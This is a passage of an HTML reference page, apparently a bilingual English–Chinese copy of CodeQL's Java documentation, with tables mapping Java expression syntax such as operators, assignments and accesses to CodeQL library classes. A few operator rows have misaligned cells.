rel="noopener">FloatingPointLiteral</a></td></tr><tr><td align="left"><code>4.2</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$DoubleLiteral.html" target="_blank" rel="noopener">DoubleLiteral</a></td></tr><tr><td align="left"><code>'a'</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$CharacterLiteral.html" target="_blank" rel="noopener">CharacterLiteral</a></td></tr><tr><td align="left"><code>"Hello"</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$StringLiteral.html" target="_blank" rel="noopener">StringLiteral</a></td></tr><tr><td align="left"><code>null</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$NullLiteral.html" target="_blank" rel="noopener">NullLiteral</a></td></tr></tbody></table><h3 id="Unary-expressions"><a href="#Unary-expressions" class="headerlink" title="Unary expressions"></a>Unary expressions</h3><p>All classes in this subsection are subclasses of <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$UnaryExpr.html" target="_blank" rel="noopener">UnaryExpr</a>.</p><blockquote><p>本小节中的所有类都是UnaryExpr的子类。</p></blockquote><table><thead><tr><th align="left">Expression syntax</th><th align="left">CodeQL class</th><th align="left">Superclasses</th><th align="left">Remarks</th></tr></thead><tbody><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a><code>++</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$PostIncExpr.html" target="_blank" rel="noopener">PostIncExpr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$UnaryAssignExpr.html" target="_blank" rel="noopener">UnaryAssignExpr</a></td><td align="left"></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a><code>--</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$PostDecExpr.html" target="_blank" rel="noopener">PostDecExpr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$UnaryAssignExpr.html" target="_blank" rel="noopener">UnaryAssignExpr</a></td><td align="left"></td></tr><tr><td align="left"><code>++</code><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$PreIncExpr.html" target="_blank" rel="noopener">PreIncExpr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$UnaryAssignExpr.html" target="_blank" rel="noopener">UnaryAssignExpr</a></td><td align="left"></td></tr><tr><td align="left"><code>--</code><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$PreDecExpr.html" target="_blank" rel="noopener">PreDecExpr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$UnaryAssignExpr.html" target="_blank" rel="noopener">UnaryAssignExpr</a></td><td align="left"></td></tr><tr><td align="left"><code>~</code><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$BitNotExpr.html" target="_blank" rel="noopener">BitNotExpr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$BitwiseExpr.html" target="_blank" rel="noopener">BitwiseExpr</a></td><td align="left">see below for other subclasses of <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$BitwiseExpr.html" target="_blank" rel="noopener">BitwiseExpr</a></td></tr><tr><td align="left"><code>-</code><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$MinusExpr.html" target="_blank" rel="noopener">MinusExpr</a></td><td align="left"></td><td align="left"></td></tr><tr><td align="left"><code>+</code><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$PlusExpr.html" target="_blank" rel="noopener">PlusExpr</a></td><td align="left"></td><td align="left"></td></tr><tr><td align="left"><code>!</code><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$LogNotExpr.html" target="_blank" rel="noopener">LogNotExpr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$LogicExpr.html" target="_blank" rel="noopener">LogicExpr</a></td><td align="left">see below for other subclasses of <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$LogicExpr.html" target="_blank" rel="noopener">LogicExpr</a></td></tr></tbody></table><h3 id="Binary-expressions"><a href="#Binary-expressions" class="headerlink" title="Binary expressions"></a>Binary expressions</h3><p>All classes in this subsection are subclasses of <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$BinaryExpr.html" target="_blank" rel="noopener">BinaryExpr</a>.</p><blockquote><p>本小节中的所有类都是BinaryExpr的子类。</p></blockquote><table><thead><tr><th align="left">Expression syntax</th><th align="left">CodeQL class</th><th align="left">Superclasses</th></tr></thead><tbody><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>*</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$MulExpr.html" target="_blank" rel="noopener">MulExpr</a></td><td align="left"></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>/</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$DivExpr.html" target="_blank" rel="noopener">DivExpr</a></td><td align="left"></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>%</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$RemExpr.html" target="_blank" rel="noopener">RemExpr</a></td><td align="left"></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>+</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AddExpr.html" target="_blank" rel="noopener">AddExpr</a></td><td align="left"></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>-</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$SubExpr.html" target="_blank" rel="noopener">SubExpr</a></td><td align="left"></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>&lt;&lt;</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$LShiftExpr.html" target="_blank" rel="noopener">LShiftExpr</a></td><td align="left"></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>&gt;&gt;</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$RShiftExpr.html" target="_blank" rel="noopener">RShiftExpr</a></td><td align="left"></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>&gt;&gt;&gt;</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$URShiftExpr.html" target="_blank" rel="noopener">URShiftExpr</a></td><td align="left"></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>&amp;&amp;</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AndLogicalExpr.html" target="_blank" rel="noopener">AndLogicalExpr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$LogicExpr.html" target="_blank" rel="noopener">LogicExpr</a></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> `</td><td align="left"></td><td align="left">` <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>&lt;</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$LTExpr.html" target="_blank" rel="noopener">LTExpr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$ComparisonExpr.html" target="_blank" rel="noopener">ComparisonExpr</a></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>&gt;</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$GTExpr.html" target="_blank" rel="noopener">GTExpr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$ComparisonExpr.html" target="_blank" rel="noopener">ComparisonExpr</a></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>&lt;=</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$LEExpr.html" target="_blank" rel="noopener">LEExpr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$ComparisonExpr.html" target="_blank" rel="noopener">ComparisonExpr</a></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>&gt;=</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$GEExpr.html" target="_blank" rel="noopener">GEExpr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$ComparisonExpr.html" target="_blank" rel="noopener">ComparisonExpr</a></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>==</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$EQExpr.html" target="_blank" rel="noopener">EQExpr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$EqualityTest.html" target="_blank" rel="noopener">EqualityTest</a></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>!=</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$NEExpr.html" target="_blank" rel="noopener">NEExpr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$EqualityTest.html" target="_blank" rel="noopener">EqualityTest</a></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>&amp;</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AndBitwiseExpr.html" target="_blank" rel="noopener">AndBitwiseExpr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$BitwiseExpr.html" target="_blank" rel="noopener">BitwiseExpr</a></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> `</td><td align="left">` <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$OrBitwiseExpr.html" target="_blank" rel="noopener">OrBitwiseExpr</a></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>^</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$XorBitwiseExpr.html" target="_blank" rel="noopener">XorBitwiseExpr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$BitwiseExpr.html" target="_blank" rel="noopener">BitwiseExpr</a></td></tr></tbody></table><h3 id="Assignment-expressions"><a href="#Assignment-expressions" class="headerlink" title="Assignment expressions"></a>Assignment expressions</h3><p>All classes in this table are subclasses of <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Assignment.html" target="_blank" rel="noopener">Assignment</a>.</p><blockquote><p>本表中的所有类都是Assignment的子类。</p></blockquote><table><thead><tr><th align="left">Expression syntax</th><th align="left">CodeQL class</th><th align="left">Superclasses</th></tr></thead><tbody><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>=</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignExpr.html" target="_blank" rel="noopener">AssignExpr</a></td><td align="left"></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>+=</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignAddExpr.html" target="_blank" rel="noopener">AssignAddExpr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignOp.html" target="_blank" rel="noopener">AssignOp</a></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>-=</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignSubExpr.html" target="_blank" rel="noopener">AssignSubExpr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignOp.html" target="_blank" rel="noopener">AssignOp</a></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>*=</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignMulExpr.html" target="_blank" rel="noopener">AssignMulExpr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignOp.html" target="_blank" rel="noopener">AssignOp</a></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>/=</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignDivExpr.html" target="_blank" rel="noopener">AssignDivExpr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignOp.html" target="_blank" rel="noopener">AssignOp</a></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>%=</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignRemExpr.html" target="_blank" rel="noopener">AssignRemExpr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignOp.html" target="_blank" rel="noopener">AssignOp</a></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>&amp;=</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignAndExpr.html" target="_blank" rel="noopener">AssignAndExpr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignOp.html" target="_blank" rel="noopener">AssignOp</a></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> `</td><td align="left">=` <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignOrExpr.html" target="_blank" rel="noopener">AssignOrExpr</a></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>^=</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignXorExpr.html" target="_blank" rel="noopener">AssignXorExpr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignOp.html" target="_blank" rel="noopener">AssignOp</a></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>&lt;&lt;=</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignLShiftExpr.html" target="_blank" rel="noopener">AssignLShiftExpr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignOp.html" target="_blank" rel="noopener">AssignOp</a></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>&gt;&gt;=</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignRShiftExpr.html" target="_blank" rel="noopener">AssignRShiftExpr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignOp.html" target="_blank" rel="noopener">AssignOp</a></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>&gt;&gt;&gt;=</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignURShiftExpr.html" target="_blank" rel="noopener">AssignURShiftExpr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$AssignOp.html" target="_blank" rel="noopener">AssignOp</a></td></tr></tbody></table><h3 id="Accesses"><a href="#Accesses" class="headerlink" title="Accesses"></a>Accesses</h3><table><thead><tr><th align="left">Expression syntax examples</th><th align="left">CodeQL class</th></tr></thead><tbody><tr><td align="left"><code>this</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$ThisAccess.html" target="_blank" rel="noopener">ThisAccess</a></td></tr><tr><td align="left"><code>Outer.this</code></td><td align="left"></td></tr><tr><td align="left"><code>super</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$SuperAccess.html" target="_blank" rel="noopener">SuperAccess</a></td></tr><tr><td align="left"><code>Outer.super</code></td><td align="left"></td></tr><tr><td align="left"><code>x</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$VarAccess.html" target="_blank" rel="noopener">VarAccess</a></td></tr><tr><td align="left"><code>e.f</code></td><td align="left"></td></tr><tr><td align="left"><code>a[i]</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$ArrayAccess.html" target="_blank" rel="noopener">ArrayAccess</a></td></tr><tr><td align="left"><code>f(...)</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$MethodAccess.html" target="_blank" rel="noopener">MethodAccess</a></td></tr><tr><td align="left"><code>e.m(...)</code></td><td align="left"></td></tr><tr><td align="left"><code>String</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$TypeAccess.html" target="_blank" rel="noopener">TypeAccess</a></td></tr><tr><td align="left"><code>java.lang.String</code></td><td align="left"></td></tr><tr><td align="left"><code>? extends Number</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$WildcardTypeAccess.html" target="_blank" rel="noopener">WildcardTypeAccess</a></td></tr><tr><td align="left"><code>? super Double</code></td><td align="left"></td></tr></tbody></table><p>A <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$VarAccess.html" target="_blank" rel="noopener">VarAccess</a> that refers to a field is a <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$FieldAccess.html" target="_blank" rel="noopener">FieldAccess</a>.</p><blockquote><p>一个指向字段的VarAccess是一个FieldAccess。</p></blockquote><h3 id="Miscellaneous"><a href="#Miscellaneous" class="headerlink" title="Miscellaneous"></a>Miscellaneous</h3><table><thead><tr><th align="left">Expression syntax examples</th><th align="left">CodeQL class</th><th align="left">Remarks</th></tr></thead><tbody><tr><td align="left"><code>(int) f</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$CastExpr.html" target="_blank" rel="noopener">CastExpr</a></td><td align="left"></td></tr><tr><td align="left"><code>(23 + 42)</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$ParExpr.html" target="_blank" rel="noopener">ParExpr</a></td><td align="left"></td></tr><tr><td align="left"><code>o instanceof String</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$InstanceOfExpr.html" target="_blank" rel="noopener">InstanceOfExpr</a></td><td align="left"></td></tr><tr><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> <code>?</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a> 